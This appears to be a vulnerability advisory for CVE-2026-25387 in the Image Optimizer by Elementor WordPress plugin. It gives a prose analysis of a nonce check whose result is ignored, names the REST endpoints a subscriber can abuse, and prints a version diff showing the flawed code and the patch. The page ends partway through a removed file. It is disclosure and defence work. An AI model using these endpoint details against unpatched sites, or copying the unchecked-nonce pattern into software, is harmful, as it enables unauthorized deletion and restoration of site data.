Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-25387: Image Optimizer by Elementor <= 1.7.1 – Missing Authorization (image-optimization)

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 1.7.1
Patched Version 1.7.2
Disclosed February 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-25387:
The Image Optimizer by Elementor plugin for WordPress versions up to and including 1.7.1 contains a missing authorization vulnerability. This flaw allows authenticated attackers with subscriber-level permissions or higher to perform unauthorized administrative actions. The vulnerability resides in the plugin’s REST API endpoint handlers where capability checks are improperly implemented.

Root Cause: The vulnerability exists in the `verify_nonce_and_capability` method within the `Route` class at `/image-optimization/classes/route.php`. In the vulnerable version (line 357-364), the method calls `verify_nonce()` but does not check its return value before proceeding to the capability check. The method returns an error only if the capability check fails, ignoring any nonce verification errors. This allows authenticated users with any role to bypass nonce validation and access protected endpoints. Multiple REST endpoint handlers in the `/image-optimization/modules/backups/rest/` directory call this method without proper error handling.

Exploitation: An attacker with subscriber-level access can send authenticated POST requests to vulnerable REST endpoints without valid nonces. The primary attack vectors include the `/wp-json/image-optimization/v1/backups/remove-backups` endpoint (DELETE method) and `/wp-json/image-optimization/v1/backups/restore-all` endpoint (POST method). The attacker must be authenticated and provide the required `nonce` parameter, but any value (including invalid or empty) will be accepted due to the missing validation. The payload structure is a standard WordPress REST API request with the `nonce` parameter.

Patch Analysis: The patch in version 1.7.2 modifies the `verify_nonce_and_capability` method at `/image-optimization/classes/route.php` lines 357-364. The updated code stores the result of `verify_nonce()` in a variable and returns any error immediately before proceeding to the capability check. Additionally, all affected REST endpoint handlers in the `/image-optimization/modules/backups/rest/` directory now check the return value of `verify_nonce_and_capability` and return errors appropriately. This ensures both nonce validation and capability checks must pass before executing protected actions.

Impact: Successful exploitation allows authenticated attackers with minimal privileges to perform administrative image optimization operations. Attackers can trigger bulk removal of image backups via the `remove-backups` endpoint or restore all optimized images to their original versions via the `restore-all` endpoint. This can disrupt site functionality, degrade performance by removing optimizations, or potentially cause data loss if backups are deleted. The vulnerability does not grant full administrative access but allows manipulation of the plugin’s core functionality.

Differential between vulnerable and patched code

Code Diff
--- a/image-optimization/assets/build/admin.asset.php
+++ b/image-optimization/assets/build/admin.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-date', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '96de323e677c46f78c09');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-date', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => 'b474e048f9abeecda04f');
--- a/image-optimization/classes/client/client-response.php
+++ b/image-optimization/classes/client/client-response.php
@@ -41,6 +41,7 @@
 		$this->known_errors = [
 			'user reached limit' => new Quota_Exceeded_Error( esc_html__( 'Plan quota reached', 'image-optimization' ) ),
 			'Bulk token expired' => new Bulk_Token_Expired_Error( esc_html__( 'Bulk token expired', 'image-optimization' ) ),
+			'bulk request reached limit' => new Bulk_Token_Expired_Error( esc_html__( 'Bulk token expired', 'image-optimization' ) ),
 			'Image already optimized' => new Image_Already_Optimized_Error( esc_html__( 'Image already optimized', 'image-optimization' ) ),
 			'Token Auth Guard Request Failed!: Invalid Token' => new Connection_Error( esc_html__( 'Connection error', 'image-optimization' ) ),
 		];
--- a/image-optimization/classes/client/client.php
+++ b/image-optimization/classes/client/client.php
@@ -146,7 +146,7 @@
 			$method,
 			$endpoint,
 			[
-				'timeout' => 100,
+				'timeout' => 50,
 				'headers' => $headers,
 				'body' => $body,
 			]
--- a/image-optimization/classes/migration/handlers/cleanup-legacy-bulk-operations.php
+++ b/image-optimization/classes/migration/handlers/cleanup-legacy-bulk-operations.php
@@ -0,0 +1,63 @@
+<?php
+
+namespace ImageOptimizationClassesMigrationHandlers;
+
+use ImageOptimizationClassesAsync_Operation{
+	Async_Operation,
+	Async_Operation_Hook,
+	QueriesImage_Optimization_Operation_Query
+};
+use ImageOptimizationClassesLogger;
+use ImageOptimizationClassesMigrationMigration;
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
+class Cleanup_Legacy_Bulk_Operations extends Migration {
+	public static function get_name(): string {
+		return 'cleanup_legacy_bulk_operations';
+	}
+
+	public static function run(): bool {
+		self::cleanup_operations( Async_Operation_Hook::OPTIMIZE_BULK );
+		self::cleanup_operations( Async_Operation_Hook::REOPTIMIZE_BULK );
+
+		return true;
+	}
+
+	private static function cleanup_operations( string $hook ): void {
+		$query = ( new Image_Optimization_Operation_Query() )
+			->set_hook( $hook )
+			->set_status( [
+				Async_Operation::OPERATION_STATUS_PENDING,
+				Async_Operation::OPERATION_STATUS_RUNNING,
+			] )
+			->set_limit( -1 );
+
+		$operations = Async_Operation::get( $query );
+
+		if ( empty( $operations ) ) {
+			Logger::info( sprintf(
+				'No legacy operations found for hook %s',
+				$hook
+			) );
+			return;
+		}
+
+		$operation_ids = array_map(
+			function( $operation ) {
+				return $operation->get_id();
+			},
+			$operations
+		);
+
+		Async_Operation::remove( $operation_ids );
+
+		Logger::info( sprintf(
+			'Removed %d legacy operations for hook %s',
+			count( $operation_ids ),
+			$hook
+		) );
+	}
+}
--- a/image-optimization/classes/migration/migration-manager.php
+++ b/image-optimization/classes/migration/migration-manager.php
@@ -11,6 +11,7 @@

 use ImageOptimizationClassesLogger;
 use ImageOptimizationClassesMigrationHandlers{
+	Cleanup_Legacy_Bulk_Operations,
 	Fix_Avif_With_Zero_Dimensions,
 	Fix_Mime_Type,
 	Fix_Optimized_Size_Keys,
@@ -26,6 +27,7 @@
 			Fix_Optimized_Size_Keys::class,
 			Fix_Mime_Type::class,
 			Fix_Avif_With_Zero_Dimensions::class,
+			Cleanup_Legacy_Bulk_Operations::class,
 		];
 	}

--- a/image-optimization/classes/route.php
+++ b/image-optimization/classes/route.php
@@ -357,7 +357,11 @@
 	}

 	public function verify_nonce_and_capability( $nonce = '', $name = '', $capability = 'manage_options' ) {
-		$this->verify_nonce( $nonce, $name );
+		$valid = $this->verify_nonce( $nonce, $name );
+
+		if ( is_wp_error( $valid ) ) {
+			return $valid;
+		}

 		if ( ! current_user_can( $capability ) ) {
 			return $this->respond_error_json([
--- a/image-optimization/image-optimization.php
+++ b/image-optimization/image-optimization.php
@@ -3,7 +3,7 @@
  * Plugin Name: Image Optimizer - Compress, Resize and Optimize Images
  * Description: Automatically resize, optimize, and convert images to WebP and AVIF. Compress images in bulk or on upload to boost your WordPress site performance.
  * Plugin URI: https://go.elementor.com/wp-repo-description-tab-io-product-page/
- * Version: 1.7.1
+ * Version: 1.7.2
  * Author: Elementor.com
  * Author URI: https://go.elementor.com/author-uri-io/
  * Text Domain: image-optimization
@@ -17,7 +17,7 @@
 	exit; // Exit if accessed directly.
 }

-define( 'IMAGE_OPTIMIZATION_VERSION', '1.7.1' );
+define( 'IMAGE_OPTIMIZATION_VERSION', '1.7.2' );
 define( 'IMAGE_OPTIMIZATION_FILE', __FILE__ );
 define( 'IMAGE_OPTIMIZATION_PATH', plugin_dir_path( IMAGE_OPTIMIZATION_FILE ) );
 define( 'IMAGE_OPTIMIZATION_URL', plugins_url( '/', IMAGE_OPTIMIZATION_FILE ) );
@@ -53,7 +53,7 @@
 	public function __construct() {

 		require_once IMAGE_OPTIMIZATION_PATH . 'vendor/autoload.php';
-
+
 		// Init Plugin
 		add_action( 'plugins_loaded', [ $this, 'init' ], -11 );
 	}
--- a/image-optimization/modules/backups/rest/remove-backups.php
+++ b/image-optimization/modules/backups/rest/remove-backups.php
@@ -27,11 +27,15 @@
 	}

 	public function DELETE( WP_REST_Request $request ) {
-		$this->verify_nonce_and_capability(
+		$error = $this->verify_nonce_and_capability(
 			$request->get_param( self::NONCE_NAME ),
 			self::NONCE_NAME
 		);

+		if ( $error ) {
+			return $error;
+		}
+
 		try {
 			Remove_All_Backups::find_and_schedule_removing();

--- a/image-optimization/modules/backups/rest/restore-all.php
+++ b/image-optimization/modules/backups/rest/restore-all.php
@@ -27,11 +27,15 @@
 	}

 	public function POST( WP_REST_Request $request ) {
-		$this->verify_nonce_and_capability(
+		$error = $this->verify_nonce_and_capability(
 			$request->get_param( self::NONCE_NAME ),
 			self::NONCE_NAME
 		);

+		if ( $error ) {
+			return $error;
+		}
+
 		try {
 			Restore_Images::find_and_schedule_restoring();

--- a/image-optimization/modules/backups/rest/restore-single.php
+++ b/image-optimization/modules/backups/rest/restore-single.php
@@ -28,11 +28,15 @@
 	}

 	public function POST( WP_REST_Request $request ) {
-		$this->verify_nonce_and_capability(
+		$error = $this->verify_nonce_and_capability(
 			$request->get_param( self::NONCE_NAME ),
 			self::NONCE_NAME
 		);

+		if ( $error ) {
+			return $error;
+		}
+
 		$image_id = (int) $request->get_param( 'image_id' );

 		if ( empty( $image_id ) ) {
--- a/image-optimization/modules/core/components/not-connected.php
+++ b/image-optimization/modules/core/components/not-connected.php
@@ -36,7 +36,7 @@
 				</b>

 				<span>
-					<a href="<?php echo admin_url( 'admin.php?page=' . ImageOptimizationModulesSettingsModule::SETTING_BASE_SLUG . '&action=connect' ); ?>">
+					<a href="<?php echo esc_url( admin_url( 'admin.php?page=' . ImageOptimizationModulesSettingsModule::SETTING_BASE_SLUG . '&action=connect' ) ); ?>">
 						<?php esc_html_e(
 							'Connect now',
 							'image-optimization'
--- a/image-optimization/modules/core/components/pointers.php
+++ b/image-optimization/modules/core/components/pointers.php
@@ -14,7 +14,9 @@
 			wp_send_json_error( [ 'message' => 'Invalid nonce' ] );
 		}

-		$pointer = sanitize_text_field( $_POST['data']['pointer'] ) ?? null;
+		$pointer = isset( $_POST['data']['pointer'] ) ?
+			sanitize_text_field( wp_unslash( $_POST['data']['pointer'] ) ) :
+			null;

 		if ( empty( $pointer ) ) {
 			wp_send_json_error( [ 'message' => 'The pointer id must be provided' ] );
--- a/image-optimization/modules/core/components/renewal-notice.php
+++ b/image-optimization/modules/core/components/renewal-notice.php
@@ -64,15 +64,15 @@
 				</svg>
 				<p>
 					<b>
-						<?php echo $text['title']; ?>
+						<?php echo esc_html( $text['title'] ); ?>
 					</b>
 					<span>
-						<?php echo $text['description']; ?>
+						<?php echo esc_html( $text['description'] ); ?>
 					</span>
 				</p>
 			</div>
-			<a href="<?php echo $text['link']; ?>" target="_blank" rel="noopener noreferrer">
-				<?php echo $text['btn']; ?>
+			<a href="<?php echo esc_url( $text['link'] ); ?>" target="_blank" rel="noopener noreferrer">
+				<?php echo esc_html( $text['btn'] ); ?>
 			</a>
 		</div>

@@ -80,7 +80,7 @@
 			jQuery( document ).ready( function( $ ) {
 				setTimeout(() => {
 					const $msInOneDay = 24 * 60 * 60 * 1000;
-					const $time_dismissed = localStorage.getItem('<?php echo self::RENEWAL_NOTICE_SLUG; ?>');
+					const $time_dismissed = localStorage.getItem('<?php echo esc_js( self::RENEWAL_NOTICE_SLUG ); ?>');
 					const $show_notice = !$time_dismissed || Date.now() - $time_dismissed >= $msInOneDay;

 					const $notice = $( '[data-notice-slug="<?php echo esc_js( self::RENEWAL_NOTICE_SLUG ); ?>"]' );
--- a/image-optimization/modules/core/components/user-feedback.php
+++ b/image-optimization/modules/core/components/user-feedback.php
@@ -100,7 +100,7 @@
 				</b>

 				<span>
-					<?php printf(
+					<?php echo wp_kses_post( sprintf(
 						__(
 							'If you enjoyed using Image Optimizer, consider leaving a <a href="%1$s" aria-label="%2$s" target="_blank"
 				rel="noopener noreferrer">★★★★★</a> review to spread the word.',
@@ -108,7 +108,7 @@
 						),
 						esc_url( self::NOTICE_FEEDBACK_LINK ),
 						esc_attr__( 'Five stars', 'image-optimization' )
-					); ?>
+					) ); ?>
 				</span>
 			</p>
 		</div>
@@ -172,7 +172,7 @@
 				</b>

 				<span>
-					<?php printf(
+					<?php echo wp_kses_post( sprintf(
 						__(
 							'If you've enjoyed it, consider leaving a <a href="%1$s" aria-label="%2$s" target="_blank"
 				rel="noopener noreferrer">★★★★★</a> review to spread the word.',
@@ -180,7 +180,7 @@
 						),
 						esc_url( self::NOTICE_FEEDBACK_LINK ),
 						esc_attr__( 'Five stars', 'image-optimization' )
-					); ?>
+					) ); ?>
 				</span>
 			</p>
 		</div>
@@ -232,14 +232,14 @@
 	 * @return void
 	 */
 	public function add_leave_feedback_footer_text(): void {
-		printf(
+		echo wp_kses_post( sprintf(
 			__( '<b>Found Image Optimizer helpful?</b> Leave us a <a href="%1$s" aria-label="%2$s" target="_blank"
 				rel="noopener noreferrer">★★★★★</a> rating!',
 				'image-optimization'
 			),
 			esc_url( self::FOOTER_FEEDBACK_LINK ),
 			esc_attr__( 'Five stars', 'image-optimization' )
-		);
+		) );
 	}

 	public function __construct() {
--- a/image-optimization/modules/deactivation/module.php
+++ b/image-optimization/modules/deactivation/module.php
@@ -74,7 +74,6 @@
 				'ajaxurl' => admin_url( 'admin-ajax.php' ),
 			]
 		);
-
 	}

 	/**
@@ -231,7 +230,7 @@
 			Logger::log( Logger::LEVEL_ERROR, 'Failed to post feedback: ' . $error_message );
 			return false;
 		}
-
+
 		return true;
 	}

--- a/image-optimization/modules/oauth/classes/data.php
+++ b/image-optimization/modules/oauth/classes/data.php
@@ -12,7 +12,6 @@
  * Class Data
  */
 class Data {
-
 	const CONNECT_CLIENT_DATA_OPTION_NAME = 'image_optimizer_client_data';
 	const CONNECT_DATA_OPTION_NAME = 'image_optimizer_connect_data';
 	const OPTION_CONNECT_SITE_KEY = 'image_optimizer_site_key';
@@ -43,7 +42,6 @@
 		] );
 	}

-
 	/**
 	 * get_client_id
 	 * @return string
@@ -69,7 +67,7 @@
 	 */
 	public static function get_connect_data( bool $force = false ): array {
 		static $connect_data = null;
-		if ( $connect_data === null || $force ) {
+		if ( null === $connect_data || $force ) {
 			$connect_data = array_merge(
 				[
 					'access_token'        => '',
--- a/image-optimization/modules/oauth/classes/route-base.php
+++ b/image-optimization/modules/oauth/classes/route-base.php
@@ -34,18 +34,4 @@

 		return $valid && user_can( $this->current_user_id, 'manage_options' );
 	}
-
-	public function verify_nonce( $nonce = '', $name = '' ) {
-		if ( ! wp_verify_nonce( sanitize_text_field( wp_unslash( $nonce ) ), $name ) ) {
-			wp_die( 'Invalid nonce', 'image-optimization' );
-		}
-	}
-
-	public function verify_nonce_and_capability( $nonce = '', $name = '', $capability = 'manage_options' ) {
-		$this->verify_nonce( $nonce, $name );
-
-		if ( ! current_user_can( $capability ) ) {
-			wp_die( 'You do not have sufficient permissions to access this page.' );
-		}
-	}
 }
--- a/image-optimization/modules/oauth/components/checkpoint.php
+++ b/image-optimization/modules/oauth/components/checkpoint.php
@@ -35,8 +35,8 @@
 			'POST',
 			'status/checkpoint',
 			[
-					'event_name' => $event_name,
-					'event_data' => $event_data,
+				'event_name' => $event_name,
+				'event_data' => $event_data,
 			]
 		);
 	}
--- a/image-optimization/modules/oauth/components/connect.php
+++ b/image-optimization/modules/oauth/components/connect.php
@@ -46,7 +46,7 @@
 	 * @return bool
 	 */
 	public static function maybe_handle_admin_connect_page(): bool {
-		if ( ! isset( $_GET['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['nonce'] ) ), 'nonce_actionget_token' ) ) {
+		if ( ! isset( $_GET['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['nonce'] ) ), 'get_token' ) ) {
 			return false;
 		}

@@ -80,7 +80,7 @@
 		}

 		// validate nonce
-		if ( ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['nonce'] ) ), 'nonce_actionget_token' ) ) {
+		if ( empty( $_GET['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['nonce'] ) ), 'get_token' ) ) {
 			wp_die( 'Nonce verification failed', 'image-optimization' );
 		}

@@ -90,12 +90,12 @@
 				'app' => 'library',
 				'grant_type' => 'authorization_code',
 				'client_id' => Data::get_client_id(),
-				'code' => sanitize_text_field( $_GET['code'] ),
+				'code' => isset( $_GET['code'] ) ? sanitize_text_field( wp_unslash( $_GET['code'] ) ) : null,
 			],
 		] );

 		if ( is_wp_error( $token_response ) ) {
-			wp_die( $token_response->get_error_message(), 'image-optimization' );
+			wp_die( esc_html( $token_response->get_error_message() ), 'image-optimization' );
 		}

 		$data = json_decode( wp_remote_retrieve_body( $token_response ), true );
@@ -171,10 +171,10 @@
 				'page'   => 'elementor-connect',
 				'app'    => 'library',
 				'action' => 'get_token',
-				'nonce'  => wp_create_nonce( 'nonce_action' . 'get_token' ),
+				'nonce'  => wp_create_nonce( 'get_token' ),
 			], admin_url( 'admin.php' ) ) ),
 			'may_share_data'  => 0,
-			'reconnect_nonce' => wp_create_nonce( 'nonce_action' . 'reconnect' ),
+			'reconnect_nonce' => wp_create_nonce( 'reconnect' ),
 		], Route_Base::SITE_URL . 'library' );
 	}

--- a/image-optimization/modules/oauth/rest/activate.php
+++ b/image-optimization/modules/oauth/rest/activate.php
@@ -28,11 +28,15 @@
 	}

 	public function POST( WP_REST_Request $request ) {
-		$this->verify_nonce_and_capability(
+		$error = $this->verify_nonce_and_capability(
 			$request->get_param( self::NONCE_NAME ),
 			self::NONCE_NAME
 		);

+		if ( $error ) {
+			return $error;
+		}
+
 		if ( ! Connect::is_connected() ) {
 			return $this->respond_error_json( [
 				'message' => esc_html__( 'Please connect first', 'image-optimization' ),
--- a/image-optimization/modules/oauth/rest/connect-init.php
+++ b/image-optimization/modules/oauth/rest/connect-init.php
@@ -28,11 +28,15 @@
 	}

 	public function get( WP_REST_Request $request ) {
-		$this->verify_nonce_and_capability(
+		$error = $this->verify_nonce_and_capability(
 			$request->get_param( self::NONCE_NAME ),
 			self::NONCE_NAME
 		);

+		if ( $error ) {
+			return $error;
+		}
+
 		if ( Connect::is_connected() ) {
 			return $this->respond_error_json( [
 				'message' => esc_html__( 'You are already connected', 'image-optimization' ),
--- a/image-optimization/modules/oauth/rest/deactivate.php
+++ b/image-optimization/modules/oauth/rest/deactivate.php
@@ -28,11 +28,15 @@
 	}

 	public function POST( WP_REST_Request $request ) {
-		$this->verify_nonce_and_capability(
+		$error = $this->verify_nonce_and_capability(
 			$request->get_param( self::NONCE_NAME ),
 			self::NONCE_NAME
 		);

+		if ( $error ) {
+			return $error;
+		}
+
 		if ( ! Connect::is_connected() ) {
 			return $this->respond_error_json( [
 				'message' => esc_html__( 'Please connect first', 'image-optimization' ),
--- a/image-optimization/modules/oauth/rest/disconnect.php
+++ b/image-optimization/modules/oauth/rest/disconnect.php
@@ -28,11 +28,15 @@
 	}

 	public function POST( WP_REST_Request $request ) {
-		$this->verify_nonce_and_capability(
+		$error = $this->verify_nonce_and_capability(
 			$request->get_param( self::NONCE_NAME ),
 			self::NONCE_NAME
 		);

+		if ( $error ) {
+			return $error;
+		}
+
 		try {
 			Connect::disconnect();
 		} catch ( Throwable $t ) {
--- a/image-optimization/modules/oauth/rest/get-subscriptions.php
+++ b/image-optimization/modules/oauth/rest/get-subscriptions.php
@@ -28,11 +28,15 @@
 	}

 	public function POST( WP_REST_Request $request ) {
-		$this->verify_nonce_and_capability(
+		$error = $this->verify_nonce_and_capability(
 			$request->get_param( self::NONCE_NAME ),
 			self::NONCE_NAME
 		);

+		if ( $error ) {
+			return $error;
+		}
+
 		if ( ! Connect::is_connected() ) {
 			return $this->respond_error_json( [
 				'message' => esc_html__( 'Please connect first', 'image-optimization' ),
--- a/image-optimization/modules/optimization/classes/bulk-optimization-controller.php
+++ b/image-optimization/modules/optimization/classes/bulk-optimization-controller.php
@@ -1,496 +0,0 @@
-<?php
-
-namespace ImageOptimizationModulesOptimizationClasses;
-
-use ImageOptimizationClassesAsync_Operation{
-	Async_Operation,
-	Async_Operation_Hook,
-	Async_Operation_Queue,
-	ExceptionsAsync_Operation_Exception,
-	QueriesImage_Optimization_Operation_Query
-};
-use ImageOptimizationClassesImage{
-	ExceptionsInvalid_Image_Exception,
-	Image,
-	Image_Meta,
-	Image_Optimization_Error_Type,
-	Image_Query_Builder,
-	Image_Status,
-	WP_Image_Meta
-};
-use ImageOptimizationClassesLogger;
-use ImageOptimizationClassesUtils;
-use ImageOptimizationClassesExceptionsQuota_Exceeded_Error;
-use ImageOptimizationModulesOptimizationClassesExceptionsBulk_Token_Obtaining_Error;
-use ImageOptimizationModulesOptimizationComponentsExceptionsBulk_Optimization_Token_Not_Found_Error;
-use ImageOptimizationModulesSettingsClassesSettings;
-use ImageOptimizationModulesStatsClassesOptimization_Stats;
-
-use ImageOptimizationPlugin;
-
-use Throwable;
-
-if ( ! defined( 'ABSPATH' ) ) {
-	exit; // Exit if accessed directly.
-}
-
-class Bulk_Optimization_Controller {
-	private const OBTAIN_TOKEN_ENDPOINT = 'image/bulk-token';
-
-	public static function reschedule_bulk_optimization() {
-		self::delete_bulk_optimization();
-		self::find_images_and_schedule_optimization();
-	}
-
-	public static function reschedule_bulk_reoptimization() {
-		self::delete_bulk_reoptimization();
-		self::find_optimized_images_and_schedule_reoptimization();
-	}
-
-	/**
-	 * Cancels pending bulk optimization operations.
-	 *
-	 * @return void
-	 * @throws Async_Operation_Exception
-	 */
-	public static function delete_bulk_optimization(): void {
-		$query = ( new Image_Optimization_Operation_Query() )
-			->set_hook( Async_Operation_Hook::OPTIMIZE_BULK )
-			// It's risky to cancel in-progress operations at that point, so we cancel only the pending ones.
-			->set_status( Async_Operation::OPERATION_STATUS_PENDING )
-			->set_limit( -1 );
-
-		$operations = Async_Operation::get( $query );
-
-		foreach ( $operations as $operation ) {
-			$image_id = $operation->get_args()['attachment_id'];
-
-			Async_Operation::remove( [ $operation->get_id() ] );
-
-			( new Image_Meta( $image_id ) )->delete();
-		}
-	}
-
-	/**
-	 * Cancels pending bulk re-optimization operations.
-	 *
-	 * @return void
-	 * @throws Async_Operation_Exception
-	 */
-	public static function delete_bulk_reoptimization(): void {
-		$query = ( new Image_Optimization_Operation_Query() )
-			->set_hook( Async_Operation_Hook::REOPTIMIZE_BULK )
-			// It's risky to cancel in-progress operations at that point, so we cancel only the pending ones.
-			->set_status( Async_Operation::OPERATION_STATUS_PENDING )
-			->set_limit( -1 );
-
-		$operations = Async_Operation::get( $query );
-
-		foreach ( $operations as $operation ) {
-			$image_id = $operation->get_args()['attachment_id'];
-
-			Async_Operation::remove( [ $operation->get_id() ] );
-
-			( new Image_Meta( $image_id ) )->delete();
-		}
-	}
-
-	/**
-	 * Looks for all non-optimized images and creates a bulk operation for each of them.
-	 * Also, obtains bulk token and passes it to a newly created operation.
-	 *
-	 * @return void
-	 *
-	 * @throws Quota_Exceeded_Error|Invalid_Image_Exception
-	 */
-	public static function find_images_and_schedule_optimization(): void {
-		$images = self::find_images(
-			( new Image_Query_Builder() )
-				->return_not_optimized_images(),
-			true
-		);
-
-		if ( ! $images['total_images_count'] ) {
-			$not_fully_optimized_images = self::find_images(
-				self::query_not_fully_optimized_images(),
-				true
-			);
-
-			if ( ! $not_fully_optimized_images['total_images_count'] ) {
-				return;
-			}
-
-			$images = $not_fully_optimized_images;
-		}
-
-		$operation_id = wp_generate_password( 10, false );
-
-		try {
-			$bulk_token = self::obtain_bulk_token( $images['total_images_count'] );
-			self::set_bulk_operation_token( $operation_id, $bulk_token );
-		} catch ( Bulk_Token_Obtaining_Error $e ) {
-			$bulk_token = null;
-			throw new Quota_Exceeded_Error( __( 'Images quota exceeded', 'image-optimization' ) );
-		}
-
-		foreach ( $images['attachments_in_quota'] as $attachment_id ) {
-			$meta = new Image_Meta( $attachment_id );
-
-			if ( null === $bulk_token ) {
-				$meta
-					->set_status( Image_Status::OPTIMIZATION_FAILED )
-					->save();
-
-				continue;
-			}
-
-			try {
-				Async_Operation::create(
-					Async_Operation_Hook::OPTIMIZE_BULK,
-					[
-						'attachment_id' => $attachment_id,
-						'operation_id' => $operation_id,
-					],
-					Async_Operation_Queue::OPTIMIZE
-				);
-
-				$meta
-					->set_status( Image_Status::OPTIMIZATION_IN_PROGRESS )
-					->save();
-			} catch ( Async_Operation_Exception $aoe ) {
-				$meta
-					->set_status( Image_Status::OPTIMIZATION_FAILED )
-					->save();
-
-				continue;
-			}
-		}
-	}
-
-	/**
-	 * Looks for already optimized images with backups and creates a bulk operation for each of them.
-	 * Also, obtains bulk token and passes it to a newly created operation.
-	 *
-	 * @return void
-	 *
-	 * @throws Quota_Exceeded_Error|Invalid_Image_Exception
-	 */
-	public static function find_optimized_images_and_schedule_reoptimization(): void {
-		$images = self::find_images(
-			( new Image_Query_Builder() )
-				->return_optimized_images()
-		);
-
-		if ( ! $images['total_images_count'] ) {
-			return;
-		}
-
-		$operation_id = wp_generate_password( 10, false );
-
-		try {
-			$bulk_token = self::obtain_bulk_token( $images['total_images_count'] );
-			self::set_bulk_operation_token( $operation_id, $bulk_token );
-		} catch ( Bulk_Token_Obtaining_Error $e ) {
-			$bulk_token = null;
-		}
-
-		foreach ( $images['attachments_in_quota'] as $attachment_id ) {
-			$meta = new Image_Meta( $attachment_id );
-
-			if ( null === $bulk_token ) {
-				$meta
-					->set_status( Image_Status::REOPTIMIZING_FAILED )
-					->save();
-
-				continue;
-			}
-
-			try {
-				Async_Operation::create(
-					Async_Operation_Hook::REOPTIMIZE_BULK,
-					[
-						'attachment_id' => $attachment_id,
-						'operation_id' => $operation_id,
-					],
-					Async_Operation_Queue::OPTIMIZE
-				);
-
-				$meta
-					->set_status( Image_Status::REOPTIMIZING_IN_PROGRESS )
-					->save();
-			} catch ( Async_Operation_Exception $aoe ) {
-				$meta
-					->set_status( Image_Status::REOPTIMIZING_FAILED )
-					->save();
-
-				continue;
-			}
-		}
-
-		foreach ( $images['attachments_out_of_quota'] as $attachment_id ) {
-			( new Image_Meta( $attachment_id ) )
-				->set_status( Image_Status::REOPTIMIZING_FAILED )
-				->set_error_type( Image_Optimization_Error_Type::QUOTA_EXCEEDED )
-				->save();
-		}
-	}
-
-	/**
-	 * Looks for images for bulk optimization operations based on a query passed and the quota left.
-	 *
-	 * @param Image_Query_Builder $query Image query to execute.
-	 * @param bool $limit_to_quota If true, it limits image query to the quota left.
-	 * @return array{total_images_count: int, attachments_in_quota: array, attachments_out_of_quota: array}
-	 *
-	 * @throws Invalid_Image_Exception
-	 * @throws Quota_Exceeded_Error
-	 */
-	private static function find_images( Image_Query_Builder $query, bool $limit_to_quota = false ): array {
-		$output = [
-			'total_images_count' => 0,
-			'attachments_in_quota' => [],
-			'attachments_out_of_quota' => [],
-		];
-
-		$images_left = Plugin::instance()->modules_manager->get_modules( 'connect-manager' )->connect_instance->images_left();
-
-		if ( ! $images_left ) {
-			//throw new Quota_Exceeded_Error( __( 'Images quota exceeded', 'image-optimization' ) );
-		}
-
-		if ( $limit_to_quota ) {
-			//$query->set_paging_size( $images_left );
-		}
-
-		$wp_query = $query->execute();
-
-		if ( ! $wp_query->post_count ) {
-			return $output;
-		}
-
-		foreach ( $wp_query->posts as $attachment_id ) {
-			try {
-				Validate_Image::is_valid( $attachment_id );
-				$wp_meta = new WP_Image_Meta( $attachment_id );
-			} catch ( Invalid_Image_Exception | ExceptionsImage_Validation_Error $ie ) {
-				continue;
-			}
-
-			$sizes_count = count( $wp_meta->get_size_keys() );
-
-			$output['total_images_count'] += $sizes_count;
-			$output['attachments_in_quota'][] = $attachment_id;
-		}
-
-		$output['attachments_out_of_quota'] = array_diff( $wp_query->posts, $output['attachments_in_quota'] );
-
-		return $output;
-	}
-
-	/**
-	 * Looks for images that were optimized, but not all their sizes were processed.
-	 *
-	 * @return Image_Query_Builder
-	 */
-	private static function query_not_fully_optimized_images(): Image_Query_Builder {
-		$result = [];
-		$sizes_enabled = Settings::get( Settings::CUSTOM_SIZES_OPTION_NAME );
-		$optimized_images = ( new Image_Query_Builder() )
-			->return_optimized_images()
-			->execute();
-
-		foreach ( $optimized_images->posts as $attachment_id ) {
-			try {
-				$image_meta = new Image_Meta( $attachment_id );
-				$wp_meta = new WP_Image_Meta( $attachment_id );
-			} catch ( Invalid_Image_Exception $iie ) {
-				continue;
-			}
-
-			$registered_sizes = $wp_meta->get_size_keys();
-			$optimized_sizes = $image_meta->get_optimized_sizes();
-
-			if ( 'all' !== $sizes_enabled ) {
-				$registered_sizes = array_filter($registered_sizes, function( $size ) use ( $sizes_enabled ) {
-					return in_array( $size, $sizes_enabled, true );
-				});
-
-				$optimized_sizes = array_filter($optimized_sizes, function( $size ) use ( $sizes_enabled ) {
-					return in_array( $size, $sizes_enabled, true );
-				});
-			}
-
-			if ( count( $optimized_sizes ) < count( $registered_sizes ) ) {
-				$result[] = $attachment_id;
-			}
-		}
-
-		return ( new Image_Query_Builder() )
-			->set_image_ids( $result );
-	}
-
-	/**
-	 * Looks for the bulk token in transients.
-	 *
-	 * @param string $operation_id Bulk optimization operation id
-	 *
-	 * @return string|null Bulk token.
-	 *
-	 * @throws Bulk_Optimization_Token_Not_Found_Error
-	*/
-	public static function get_bulk_operation_token( string $operation_id ): ?string {
-		$bulk_token = get_transient( "image_optimizer_bulk_token_$operation_id" );
-
-		if ( ! $bulk_token ) {
-			throw new Bulk_Optimization_Token_Not_Found_Error( "There is no token found for the operation $operation_id" );
-		}
-
-		return $bulk_token;
-	}
-
-	/**
-	 * Saves bulk optimization token to transients for a day.
-	 *
-	 * @param string $operation_id Bulk optimization operation id
-	 * @param string $bulk_token Bulk optimization token
-	 * @return void
-	 */
-	public static function set_bulk_operation_token( string $operation_id, string $bulk_token ): void {
-		set_transient( "image_optimizer_bulk_token_$operation_id", $bulk_token, HOUR_IN_SECONDS );
-	}
-
-	/**
-	 * Sends a request to the BE to obtain bulk optimization token.
-	 * It prevents obtaining a token for each and every optimization operation.
-	 *
-	 * @return string
-	 *
-	 * @throws Bulk_Token_Obtaining_Error
-	 */
